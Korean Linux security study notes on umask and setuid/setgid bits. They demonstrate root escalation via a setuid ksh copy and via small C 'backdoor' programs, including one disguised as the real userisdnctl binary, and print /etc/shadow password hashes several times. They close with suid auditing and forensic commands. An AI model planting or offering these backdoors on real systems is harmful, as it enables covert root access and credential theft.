umask --> 파일 또는 폴더 생성 시 기본 적용 마스크값
루트유저의 기본 umask값 : 022 일반유저 :002
기본 파일 생성시 적용 되는 값 : 666 디렉터리 생성시 적용되는 값 : 777
파일 생성시 : 666 - 022 = 644 rw-r--r-- 폴더 생성시 : 777 - 022 = 755 rwxr-xr-x
#권한을 넘치게 줘서 해킹의 위험이 있다..
setUID : 숫자표현 -> 4000 setGID --> 2000 스티키 비트 --> 1000 |
<ksh의 취약점>
[root@centa:~]#cd /tmp/ [root@centa:/tmp]#cp /bin/ksh /tmp/ksh
[root@centa:/tmp]#ls -la ksh -rwxr-xr-x 1 root root 1094052 Nov 2 02:39 ksh [root@centa:/tmp]#chmod 4755 ksh [root@centa:/tmp]#ls -la ksh -rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh
[root@centa:/tmp]#su - user1 [user1@centa:~]$id uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t [user1@centa:~]$
[user1@centa:~]$cd /tmp/ [user1@centa:/tmp]$ls -l ksh -rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh [user1@centa:/tmp]$./ksh
# id uid=500(user1) gid=500(user1) euid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t |
# cat /etc/shadow à /etc/shadow 파일을 볼 수 있다. root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7::: bin:*:14507:0:99999:7::: daemon:*:14507:0:99999:7::: adm:*:14507:0:99999:7::: lp:*:14507:0:99999:7::: sync:*:14507:0:99999:7::: shutdown:*:14507:0:99999:7::: halt:*:14507:0:99999:7::: mail:*:14507:0:99999:7::: news:*:14507:0:99999:7::: uucp:*:14507:0:99999:7::: operator:*:14507:0:99999:7::: games:*:14507:0:99999:7::: gopher:*:14507:0:99999:7::: ftp:*:14507:0:99999:7::: nobody:*:14507:0:99999:7::: rpc:!!:14507:0:99999:7::: mailnull:!!:14507:0:99999:7::: smmsp:!!:14507:0:99999:7::: nscd:!!:14507:0:99999:7::: vcsa:!!:14507:0:99999:7::: rpcuser:!!:14507:0:99999:7::: nfsnobody:!!:14507:0:99999:7::: sshd:!!:14507:0:99999:7::: pcap:!!:14507:0:99999:7::: dbus:!!:14507:0:99999:7::: haldaemon:!!:14507:0:99999:7::: avahi:!!:14507:0:99999:7::: hsqldb:!!:14507:0:99999:7::: avahi-autoipd:!!:14507:0:99999:7::: xfs:!!:14507:0:99999:7::: user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7::: named:!!:14507:::::: dovecot:!!:14507:::::: sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7::: userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7::: # |
<bash는 바뀌지 않는다.>
[root@centa:/tmp]#cp /bin/bash ./ [root@centa:/tmp]#ls -la bash -rwxr-xr-x 1 root root 735004 Nov 2 02:48 bash [root@centa:/tmp]#chmod 4755 bash [root@centa:/tmp]#ls -la bash -rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash [root@centa:/tmp]#
[user1@centa:~]$cd /tmp/ [user1@centa:/tmp]$ls -l bash -rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash [user1@centa:/tmp]$./bash bash-3.2$ id uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t bash-3.2$ |
#./bash bash-3.2$ id uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t
bash-3.2$ cat /etc/shadow cat: /etc/shadow: Permission denied |
<backdoor 생성>
[root@centa:/tmp]#vi backdoor.c #include<stdio.h> main() { setuid(0); setgid(0); system("/bin/sh"); } :wq
[root@centa:/tmp]#ls -la back* -rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c |
[root@centa:/tmp]#gcc -o backdoor backdoor.c à 컴파일 [root@centa:/tmp]#ls -la back* -rwxr-xr-x 1 root root 4930 Nov 2 03:01 backdoor -rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c
[root@centa:/tmp]#chmod 4755 backdoor [root@centa:/tmp]#ls -la back* -rwsr-xr-x 1 root root 4930 Nov 2 03:01 backdoor -rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c
[root@centa:/tmp]#su - user1 [user1@centa:~]$cd /tmp/ [user1@centa:/tmp]$./backdoor sh-3.2# id à root 쉘로 바뀌었다.
uid=0(root) gid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t à 계정 정보를 보면 root 권한을 획득한 것을 알 수 있다. sh-3.2# |
<"vim editor"를 "backdoor"로 만들기>
sh-3.2# vi backdoor2.c #include <stdio.h> main() { setuid(0); setgid(0); system("/bin/vi"); } :wq
sh-3.2# gcc -o backdoor2 backdoor2.c sh-3.2# ls -la back*2* -rwxrwxr-x 1 root root 4931 Nov 2 03:13 backdoor2 -rw-rw-r-- 1 root root 74 Nov 2 03:11 backdoor2.c sh-3.2# chmod 4755 backdoor2 |
sh-3.2# su - user1 à 일반 계정으로 접속하여 "root" 권한으로 볼 수 있는 "/etc/shadow"파일을 열어 보자. [user1@centa:~]$ [user1@centa:~]$cd /tmp [user1@centa:/tmp]$./backdoor2 à vi editor가 켜진 후 명령 모드에 다음과 같이 입력한다. :!cat /etc/shadow
:!cat /etc/shadow root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7::: bin:*:14507:0:99999:7::: daemon:*:14507:0:99999:7::: adm:*:14507:0:99999:7::: lp:*:14507:0:99999:7::: sync:*:14507:0:99999:7::: shutdown:*:14507:0:99999:7::: halt:*:14507:0:99999:7::: mail:*:14507:0:99999:7::: news:*:14507:0:99999:7::: uucp:*:14507:0:99999:7::: operator:*:14507:0:99999:7::: games:*:14507:0:99999:7::: gopher:*:14507:0:99999:7::: ftp:*:14507:0:99999:7::: nobody:*:14507:0:99999:7::: rpc:!!:14507:0:99999:7::: mailnull:!!:14507:0:99999:7::: smmsp:!!:14507:0:99999:7::: nscd:!!:14507:0:99999:7::: vcsa:!!:14507:0:99999:7::: rpcuser:!!:14507:0:99999:7::: nfsnobody:!!:14507:0:99999:7::: sshd:!!:14507:0:99999:7::: pcap:!!:14507:0:99999:7::: dbus:!!:14507:0:99999:7::: haldaemon:!!:14507:0:99999:7::: avahi:!!:14507:0:99999:7::: hsqldb:!!:14507:0:99999:7::: avahi-autoipd:!!:14507:0:99999:7::: xfs:!!:14507:0:99999:7::: user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7::: named:!!:14507:::::: dovecot:!!:14507:::::: sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7::: userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7::: à 이렇게 /etc/shadow 의 내용을 볼 수 있다. |
< "argument"를 주고 명령어를 실행하는 "backdoor">
sh-3.2# vi backdoor3.c #include <stdio.h> main (int argc, char* argv[]){ char exec[100]; setuid(0); setgid(0); sprintf(exec, "%s 2>/dev/null", argv[1]); system(exec); } :wq
sh-3.2# gcc -o backdoor3 backdoor3.c sh-3.2# ls -la back*3* -rwxrwxr-x 1 root root 5058 Nov 2 03:26 backdoor3 -rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c sh-3.2# chmod 4755 backdoor3
sh-3.2# ls -la back*3* -rwsr-xr-x 1 root root 5058 Nov 2 03:26 backdoor3 -rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c |
sh-3.2# su - user1 [user1@centa:~]$cd /tmp
[user1@centa:/tmp]$./backdoor3 "ls -l" total 1876 -rwsr-xr-x 1 root root 4930 Nov 2 03:01 backdoor -rwsr-xr-x 1 root root 4931 Nov 2 03:13 backdoor2 -rw-rw-r-- 1 root root 74 Nov 2 03:11 backdoor2.c -rwsr-xr-x 1 root root 5058 Nov 2 03:26 backdoor3 -rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c -rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c -rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash -rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh drwx------ 2 user1 user1 4096 Nov 2 03:22 ssh-jDIkdK3583 |
[user1@centa:/tmp]$./backdoor3 "id" uid=0(root) gid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t
[user1@centa:/tmp]$id uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t |
[user1@centa:/tmp]$cat /etc/shadow cat: /etc/shadow: Permission denied
[user1@centa:/tmp]$./backdoor3 "cat /etc/shadow" à root 권한으로 볼 수 있다. root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7::: bin:*:14507:0:99999:7::: daemon:*:14507:0:99999:7::: adm:*:14507:0:99999:7::: lp:*:14507:0:99999:7::: sync:*:14507:0:99999:7::: shutdown:*:14507:0:99999:7::: halt:*:14507:0:99999:7::: mail:*:14507:0:99999:7::: news:*:14507:0:99999:7::: uucp:*:14507:0:99999:7::: operator:*:14507:0:99999:7::: games:*:14507:0:99999:7::: gopher:*:14507:0:99999:7::: ftp:*:14507:0:99999:7::: nobody:*:14507:0:99999:7::: rpc:!!:14507:0:99999:7::: mailnull:!!:14507:0:99999:7::: smmsp:!!:14507:0:99999:7::: nscd:!!:14507:0:99999:7::: vcsa:!!:14507:0:99999:7::: rpcuser:!!:14507:0:99999:7::: nfsnobody:!!:14507:0:99999:7::: sshd:!!:14507:0:99999:7::: pcap:!!:14507:0:99999:7::: dbus:!!:14507:0:99999:7::: haldaemon:!!:14507:0:99999:7::: avahi:!!:14507:0:99999:7::: hsqldb:!!:14507:0:99999:7::: avahi-autoipd:!!:14507:0:99999:7::: xfs:!!:14507:0:99999:7::: user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7::: named:!!:14507:::::: dovecot:!!:14507:::::: sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7::: userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7::: |
<suid, sgid 파일 점검>
à 일반 유저 권한으로 suid, sgid가 설정된 파일을 실행할 떄에는 해당 파일의 소유자 또는
소유그룹 권한으로 작동하게 되므로 정기적으로 시스템에서 suid, sgid가 설정된 파일을 모니터링하여
suid, sgid가 불 필요하면 삭제하거나 s비트를 해제하는 것이 좋다.<참고:리눅스 서버 보안관리 실무_P.35>
[root@centa:~]#find / -type f \( -perm -4000 -o -perm -2000 \) à "/"에서 suid(4000), sgid(2000)가 설정된 파일을 검색 /lib/dbus-1/dbus-daemon-launch-helper /sbin/umount.nfs4 /sbin/mount.nfs /sbin/pam_timestamp_check /sbin/umount.nfs /sbin/unix_chkpwd /sbin/netreport /sbin/mount.nfs4 /bin/mount /bin/ping6 /bin/su /bin/umount /bin/ping /tmp/ksh /tmp/backdoor2 /tmp/bash /tmp/backdoor3 /tmp/backdoor ……………………………. |
[root@centa:~]#find / -type f -perm +6000 -ls 1115006 52 -rwsr-x--- 1 root dbus 45148 Jan 21 2009 /lib/dbus-1/dbus-daemon-launch-helper 622798 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/umount.nfs4 622793 80 -rwsr-xr-x 1 root root 70772 Jan 21 2009 /sbin/mount.nfs 622707 16 -rwsr-xr-x 1 root root 12248 Jan 22 2009 /sbin/pam_timestamp_check 622797 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/umount.nfs 622708 24 -rwsr-xr-x 1 root root 19184 Jan 22 2009 /sbin/unix_chkpwd 622771 12 -rwxr-sr-x 1 root root 5920 Mar 6 2009 /sbin/netreport 622794 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/mount.nfs4 332107 68 -rwsr-xr-x 1 root root 58324 Jan 21 2009 /bin/mount 327697 36 -rwsr-xr-x 1 root root 31244 Jan 21 2009 /bin/ping6 327734 28 -rwsr-xr-x 1 root root 23960 Jan 21 2009 /bin/su 327682 44 -rwsr-xr-x 1 root root 38936 Jan 21 2009 /bin/umount 327696 40 -rwsr-xr-x 1 root root 35864 Jan 21 2009 /bin/ping ……………………………. |
[root@centa:~]#find / -perm 4755 |more find: /proc/20772/task/20772/fd/4: No such file or directory find: /proc/20772/fd/4: No such file or directory /sbin/umount.nfs4 /sbin/mount.nfs /sbin/pam_timestamp_check /sbin/umount.nfs /sbin/unix_chkpwd /sbin/mount.nfs4 /bin/mount /bin/ping6 /bin/su /bin/umount /bin/ping ……………………………… |
<suid, sgid파일들>
/usr/bin/chage (suid) à user의 암호 만기일 정보를 변경 또는 조회하는 명령어 [s비트 헤제] |
/usr/bin/gpasswd (suid) à /etc/group, /etc/gshadow 파일을 관리할 떄 사용되는 명령어 [필요없음. ] |
/usr/bin/wall (sgid) à 터미널에 연결되어 있는 유저들에게 메시지를 보낼 떄 사용 [s비트 헤제] |
/usr/bin/chfn (suid) à finger로 질의 시 보이는 정보를 변경하는 명령어 [필요없음. ] |
/usr/bin/chsh (suid) à bash, csh 등 로그인시 실행되는 쉘을 변경하는 명령어 [쉘을 변경할 필요가 없다면 필요없음. ] |
/usr/bin/newgrp (suid) à 새로운 그룹으로 로그인하는 명령어 [필요없음. ] |
/usr/bin/write (sgid) à talk 와 같이 다른 유저에게 메시지를 보내는 명령어 [필요없음. ] |
/usr/bin/at (suid) à cron과 같이 반복적인 작업을 할 때 사용 at 자체가 cron에 비해 보안 결함이 있고 잘 사용되지 않는다. [필요없음. ] |
/usr/sbin/usernetctl (suid) à 일반 유저가 인터페이스를 제어하도록 하는 명령어 [필요없음. ] |
/usr/sbin/userhelper (suid) à gui를 통해 암호를 관리하고자 할 떄 필요한데 서버 운영 시 GUI자체가 보안상 문제가 될 수 있으므로 [필요없음. ] |
/bin/mount ,/bin/umount (suid) à 파일 시스템을 마운트 할 때 필요. 일반 유저에게 마운트 권한을 줄 필요가 없다. [s비트 헤제] |
/usr/sbin/lockdev (sgid) à devices를 잠글 때 필요, lock이라는 그룹 권한으로 설정되어 있는데, 그대로 둔다. |
/bin/ping (suid) à 일반 유저에게 ping 을 허용하려면 suid를 그대로 유지, ping을 금지하려면 suid를 해제 |
/usr/sbin/traceroute (suid) à 네트워크 경로를 추적하는 명령어 이 것도 일반 유저에게 허용하려면 그대로 나두고 금지하려면 suid를 해제 |
/usr/bin/passwd (suid) à 자신의 암호 변경시 사용, 755로 변경하면 root만이 암호를 변경할 수 있게 됨. |
/usr/bin/crontab (suid) à 마음대로… |
<s_bit해제>
<suid가 설정된 파일에서 user에 설정된 s_bit를 헤제하는 명령> #chmod u-s /usr/bin/"suid_file" 반대: #chmod u+s /usr/bin/"suid_file" #chmod 0700 /usr/sbin/"suid_file" or chmod 700 /usr/sbin/"suid_file"
<sgid가 설정된 파일에서 group에 설정된 s_bit를 헤제하는 명령> #chmod g-s /usr/bin/"suid_file" 반대: #chmod g+s /usr/bin/"suid_file" #chmod 0700 /usr/sbin/"sgid_file" or chmod 700 /usr/sbin/"sgid_file" |
<해킹 당한 시스템을 분석하기 위한 유용한 명령어>
#find ./ -name "*" –exec grep –H hack {} \; #find ./ -type f –print | xargs grep –H "hack" /dev/null #find ./ type f –exec grep 'hack' {} /dev/null \;
#egrep –r hack * à 현재 디렉토리에서 하위 디렉토리까지 "hack"이라는 문자가 포함된 파일을 찾아줌.
#find / -user 427 –print à 소유자의 udi가 427인 파일들을 보여줌.(일반 유저 계정은 "uid", "gid"가 보통 500번 대에서 시작)
#find / -cmin -5 à 최근 5분 안에 생성되거나 업데이트 된 파일들을 보여줌.
#find / -perm -0002 –type d –print à 일반 유저가 쓰기 권한이 있는 디렉토리를 보여줌.
#find / -perm -0002 –type f –print à 일반 유저가 쓰기 권한이 있는 파일을 보여줌.
#find / -nouser –o –nogroup –print à 유저나 그룹이 없는 파일을 보여줌.
#find / -mtime 2 –o –ctime 2 à 지난 2일 사이에 변경된 파일을 보여줌 |
.
<"backdoor" 숨기는 방법>
à 잘 사용하지 않는 setuid가 붙은 명령어를 사용. [root@centa:/tmp]#userisdnctl usage: userisdnctl <interface-config> <dial|hangup|status|report> à 복사 |
[root@centa:/tmp]#vi backdoor3.c #include <stdio.h> main (int argc, char* argv[]){ char exec[100]; setuid(0); setgid(0); sprintf(exec, "%s 2>/dev/null", argv[1]); system(exec); printf("usage: userisdnctl <interface-config> <dial|hangup|status|report> \n"); } :wq |
[root@centa:/tmp]#gcc -o userisdnctl backdoor3.c [root@centa:/tmp]#./userisdnctl usage: userisdnctl <interface-config> <dial|hangup|status|report> [root@centa:/tmp]#mv /usr/sbin/userisdnctl /usr/sbin/userisdnctl-bak à 백업
[root@centa:/tmp]#chmod 4755 userisdnctl [root@centa:/tmp]#mv userisdnctl /usr/sbin/userisdnctl |
[root@centa:/tmp]#su - user1 [user1@centa:~]$/usr/sbin/userisdnctl usage: userisdnctl <interface-config> <dial|hangup|status|report> |
[user1@centa:~]$/usr/sbin/userisdnctl "cat /etc/shadow" à 일반 계정으로 열어 볼 수 없는 "/etc/shadow" 파일을 볼 수 있다. root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7::: bin:*:14507:0:99999:7::: daemon:*:14507:0:99999:7::: adm:*:14507:0:99999:7::: lp:*:14507:0:99999:7::: sync:*:14507:0:99999:7::: shutdown:*:14507:0:99999:7::: halt:*:14507:0:99999:7::: mail:*:14507:0:99999:7::: news:*:14507:0:99999:7::: uucp:*:14507:0:99999:7::: operator:*:14507:0:99999:7::: games:*:14507:0:99999:7::: gopher:*:14507:0:99999:7::: ftp:*:14507:0:99999:7::: nobody:*:14507:0:99999:7::: rpc:!!:14507:0:99999:7::: mailnull:!!:14507:0:99999:7::: smmsp:!!:14507:0:99999:7::: nscd:!!:14507:0:99999:7::: vcsa:!!:14507:0:99999:7::: rpcuser:!!:14507:0:99999:7::: nfsnobody:!!:14507:0:99999:7::: sshd:!!:14507:0:99999:7::: pcap:!!:14507:0:99999:7::: dbus:!!:14507:0:99999:7::: haldaemon:!!:14507:0:99999:7::: avahi:!!:14507:0:99999:7::: hsqldb:!!:14507:0:99999:7::: avahi-autoipd:!!:14507:0:99999:7::: xfs:!!:14507:0:99999:7::: user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7::: named:!!:14507:::::: dovecot:!!:14507:::::: sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7::: userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7::: usage: userisdnctl <interface-config> <dial|hangup|status|report> |
[user1@centa:~]$cat /etc/shadow cat: /etc/shadow: Permission denied à 그냥 하면 권한이 없다고 나온다. |